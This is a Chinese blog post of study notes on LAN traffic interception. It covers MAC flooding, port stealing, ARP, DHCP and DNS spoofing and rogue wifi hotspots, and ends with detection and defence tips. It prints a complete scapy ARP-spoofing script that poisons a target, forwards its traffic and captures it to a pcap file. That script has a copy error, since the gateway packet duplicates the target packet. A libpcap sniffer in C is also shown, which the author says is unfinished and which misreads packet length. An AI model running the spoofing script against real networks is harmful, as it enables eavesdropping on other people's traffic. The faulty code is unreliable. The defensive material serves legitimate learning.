小白网管进修笔记——网络监听

一、网络流量劫持
  1、网络环境:共享式、交换式
    1)集线器:把某接口的收包转发到所有接口;网卡如果非混杂,就不会丢弃此包。wifi也是如此。此为共享式网络
    2)交换式~网络流量窃取:网络监听、DHCP欺骗、DNS劫持、wifi流量劫持
      二层交换机:交换发生在数据链路层~MAC地址表
      三层交换机:交换发生在网络层~IP地址表
      网管:端口镜像;捣蛋娃:MAC攻击、端口盗用、ARP欺骗
    3)MAC攻击:
      MAC地址表建立(自学习)转发过程:第一次接收,获取源MAC——》再接收,查MAC表转发——》如有,单端口转发/如无,泛洪
      搞事方法:持续发送大量随机源MAC~MAC冲刷,引发泛洪
      网管应对:监控MAC表,或者静态MAC表
    4)端口盗用:
      发包混淆MAC表,使被监听对象的MAC绑定到监听者所在端口(被监听者会不会感知?)
      为了还包给被监听者,监听者先存起来,定期更正MAC表恢复正常转发同时还包(嗯,被监听者可能会有所感知)
    5)ARP欺骗:
      网络层——》数据链路层:ARP(Address Resolution Protocol)协议(IP——》MAC)
      发包前,检查ARP高速缓存,如无,广播ARP请求(目的MAC填充00.00.00.00.00.00),然后等等同样形式的ARP响应包
      !!!主机接收到ARP数据包、不经认证直接写入自身ARP高速缓存——ARP欺骗基于此,引发ARP缓存中毒(Cache Poisoning)
      基于ARP请求的欺骗(伪造、广播,会引起被冒名主机提示IP地址冲突)
      基于ARP响应的欺骗(利用主机不记录发送ARP请求的弱点,在想实施动作时发送响应。对方不会有告警、网内其它主机不受干扰)
      后者,可查看arpspoof.py,使用前,确定目标和网关,开启对网关和目标的流量转发:
      echo 1 > /proc/sys/net/ipv4/ip_forward
      然后开始对目标ARP欺骗

 1 ########################
 2 ##     arpspoof.py    ##
 3 ##       arp欺骗       ##
 4 ########################
 5 
 6 from scapy.all import *
 7 import os
 8 import sys
 9 import threading
10 
11 interface = "eth0"   # 你将要用的网卡设备名称
12 target_ip = "192.168.1.2"  # 局域网内你的目标
13 gateway_ip = "192.168.1.1"  # 网关……
14 packet_count = 1000
15 spoofing = True
16 
17 def get_mac(ip_address):
18     responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst = ip_address), timeout = 2, retry = 10)
19     for s,r in responses:
20         return r[Ether].src
21     return None
22 
23 def spoof_target(gateway_ip, gateway_mac, target_ip, target_mac):
24     global spoofing
25     
26     spoof_target = ARP()
27     spoof_target.op = 2
28     spoof_target.psrc = gateway_ip
29     spoof_target.pdst = target_ip
30     spoof_target.hwdst = target_mac
31     
32     spoof_gateway = ARP()
33     spoof_gateway.op = 2
34     spoof_gateway.psrc = gateway_ip
35     spoof_gateway.pdst = target_ip
36     spoof_gateway.hwdst = target_mac
37     
38     print("[ + ] Beginning the ARP spoof. [ CTRL + C to stop]")
39     while spoofing:
40         send(spoof_target)
41         send(spoof_gateway)
42         time.sleep(2)
43     print("[ * ] ARP spoof attack finisted.")
44     return
45 
46 def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
47     print("[ * ] Restoring Target ... ")
48     send(ARP(op = 2, psrc = gateway_ip, pdst = target_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gateway_mac), count = 5)
49     send(ARP(op = 2, psrc = target_ip, pdst = gateway_ip, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = target_mac), count = 5)
50 
51 def arp_spoof():
52     conf.iface = interface
53     conf.verb = 0
54     
55     print("[ + ] Setting up %s " % interface)
56     
57     # 获取网关的MAC
58     gateway_mac = get_mac(gateway_ip)
59     if gateway_mac is None:
60         print("[ - ] Failed to get gateway MAC. Exiting.")
61         sys.exit(0)
62     else:
63         print("[ + ] Gateway %s is at %s " %(gateway_ip, gateway_mac))
64         
65     # 获取目标的MAC
66     target_mac = get_mac(target_ip)
67     if target_mac is None:
68         print("[ - ] Failed to get target MAC. Exiting.")
69         sys.exit(0)
70     else:
71         print("[ + ] Target %s is at %s " %(target_ip, target_mac))
72     
73     # 启动ARP欺骗
74     print("[ + ] Start spoof thread.")
75     spoof_thread = threading.Thread(target = spoof_target, args = (gateway_ip, gateway_mac, target_ip, target_mac))
76     spoof_thread.start()
77     
78     # 抓取目标流量
79     try:
80         print("[ + ] Starting sniffer for %d packets" % packet_count)
81         bpf_filter = "ip host %s" % target_ip
82         packets = sniff( count = packet_count, filter = bpf_filter, iface = interface)
83     except KeyboardInterrupt:
84         pass
85     finally:
86         print("[ + ] Writing packets to arpspoof.pcap")
87         wrpcap('arpsoof.pcap',packets)
88         spoofing = False
89         time.sleep(2)
90         # 还原网络配置
91         restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
92         sys.exit(0)
93 
94 if __name__ == '__main__':
95     arp_spoof()

      利用ARP响应欺骗,好像主机如果记录常用的MAC,会被发现吧?(这可以作为监测手段,如果想省事,直接静态ARP吧)

    6)DHCP欺骗:
      DHCP:C/S模式,基于UDP,UDP67、UDP68分别是S端和C端的服务端口,UDP546则是v6版本的C端的端口,也是DHCP服务器的failover的双机热备特殊端口。S端侦听来自C端请求,然后一系列协商后才分发相关地址配置信息。

      三种分配方式:automatic / dynamic / manual allocation

      注意:DHCP请求都是广播的(DHCP Discover),然后所有S都给出DHCP Offer报文,无特殊option外,C将优先处理最先回应,然后把选中的S和选中的IP随DHCP Request再次广播,如果S端确认地址可用,将向C发送DHCP ACK前明确IP和租期。C如确认可用,则自动启动续延;如发现此IP已在用,则向S发DHCP Decline通知禁止分发此IP,并重新开始新的申请过程。在使用过程中,C可以发送DHCP Release释放自己的IP。

      小动作:同一冲突域内,伪装目标MAC并发起Release,然后将自身作为DHCP Server、网关、DNS提供给目标,以劫持目标的网络数据包。而在不同冲突域下,则会存在DHCP Agent / Proxy,负责中转DHCP请求与回应,因此还可以控制住DHCP Agent,实现更大范围的监听。

    7)DNS劫持:

      DNS,联机分布式数据库系统,C/S模式。本地应用将待转换域名放入DNS请求,以UDP提交给本地DNS,如有记录,返回应答及IP,如无,则访问远端DNS;如有则返回,如无,远端DNS将作为C端再去访问另一个远端DNS,直到有记录或者范围内DNS都找不到记录。

      上述过程中,存在高速缓存Cache,DNS侧也存在授权管理域名及非授权绑定。存在高效与准确性的矛盾。

      那么,如果拿下了DNS,并且把目标流量指向自身,同时自身开启HTTP代理保证正常通信,就可以获取所有的访问流量。或者拿到域名管理密码和邮箱并添加相应域名解析记录(想想就难搞)。

      或者,DNS缓存投毒——控制DNS缓存服务器,相对难度低一点点,或者搞目标主机的本地缓存(一大波广告来袭……-_-  _oloo)。好吧,相信亲爱的运营商的技术水平,他们的DNS不会挂掉,同时把本地的呃,我自己就是哦,不能自黑

    8)Wifi流量劫持:

      一是爆破无线路由的管理;二是自身开热点钓鱼(开同名热点,并保证RSSI-信号强度比原配高一点)。人在外地,还是自己开热点自己用,限死IP和MAC吧。钓得鱼多终葬鱼腹……

二、采集与分析、解密

  1、网卡——网络接口卡Network Interface Card(6个字节的MAC,负责数据帧封装解封装转发)。正常情况下,接到数据帧,如目的MAC是自己则中断并交系统处理,如不是则丢弃;有个特殊模式:混杂模式——Promiscuous:在接收帧时,不检查帧头,一律硬件中断并交系统处理,作为网络监听的前提条件。

  2、还没调好的参考书代码:

//***********************************
//    过滤特定字符串的小程序
//***********************************
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>


//当pcap_loop()收到分组时,打印收到的分组序号,暂未进行分析
void my_callback(u_char *useless,const struct pcap_pkthdr* pkthdr,const u_char* packet)
{
	static int count=1;
	fprintf(stdout,"%d, \n",count);
	int k=0;
	int len;
	len=strlen(packet);
	for(k=0;k<len;k++)
		printf("%02X",packet[k]);
	//奇葩了,输出竟然全部是我光猫的MAC
	printf("\n");
	fflush(stdout);
	count++;
}

int main(int argc,char **argv)
{
	int i;
	char *dev;
	char errbuf[PCAP_ERRBUF_SIZE];
	pcap_t* descr;
	const u_char *packet;
	struct pcap_pkthdr hdr;
	struct ether_header *eptr;
	struct bpf_program fp;
	bpf_u_int32 maskp;
	bpf_u_int32 netp;
	
	if(argc!=2)
	{
		fprintf(stdout,"Usage: %s \" filter program \" \n",argv[0]);
		return 0;
	}
	dev=pcap_lookupdev(errbuf);
	if(dev==NULL)
	{
		fprintf(stderr,"%s\n",errbuf);
		exit(1);
	}
	
	//get IP and MASK
	pcap_lookupnet(dev,&netp,&maskp,errbuf);
	//turn to Promiscuous Mode
	descr=pcap_open_live(dev,BUFSIZ,1,-1,errbuf);
	if(descr==NULL)
	{
		printf("pcap_open_live():%s\n",errbuf);
		exit(1);
	}
	//将指定待过滤字符串编译成程序
	if(pcap_compile(descr,&fp,argv[1],0,netp)==-1)
	{
		fprintf(stderr,"Error calling pcap_compile\n");
		exit(1);
	}
	//将上述程序指定为过滤程序
	if(pcap_setfilter(descr,&fp)==-1)
	{
		fprintf(stderr,"Error setting filter\n");
		exit(1);
	}
	//循环捕获满足条件的分组
	pcap_loop(descr,-1,my_callback,NULL);
	
	return 0;
}

  哦哦,用法啊,参考一下这篇文章https://blog.csdn.net/a1009563517/article/details/47311813

  比如我生成一个a.out,那么过滤的是带各种各样修饰符的字符串了,e.g../a.out "src 192.168.1.58"

  然后一些数据封装和解析就不多写了,还有sniffer和wireshark这些常用的也不了。哦,书中还安利了Cain,省了自己敲ARP欺骗、嗅探等,都是有界面的,随便玩玩。

三、监听的检测防范

  1、被动监听不易察觉,不过对方网卡是混杂模式,可以通过构造目的MAC随机的可疑主机IP为目的IP的ping包,诱导回应。

  2、随机发送大量目的MAC不存在的垃圾数据包,在保证带宽的情况下,测试到可疑主机的ping包响应速度,看看有无明显变慢。(个人感觉,针对第1、2点,最好在入网时就记录好存活主机MAC,然后针对性去监听,而丢弃随机的不在记录的源MAC的包)

  3、单播发出ARP,看看有无回应,对比对方的MAC和回包MAC。(呃,那我们在ARP欺骗的时候,是不是要过滤掉单播的ARP呢?)

  4、针对不存在的IP发Ping包,看看有没有主机对这些IP进行DNS反向查询。

  网管侧:

  1、冲突域细分(如此,只有远程控制某台冲突域内的设备,再去进行监听了)

  2、交换机端口IP或MAC绑定;设定端口学习阈值,避免大量填入。

  3、通信加密

最后,还得吐槽一下,便利与安全越发地矛盾啊!!!

posted @ 2020-06-15 21:26  liyilong  阅读(651)  评论(0编辑  收藏  举报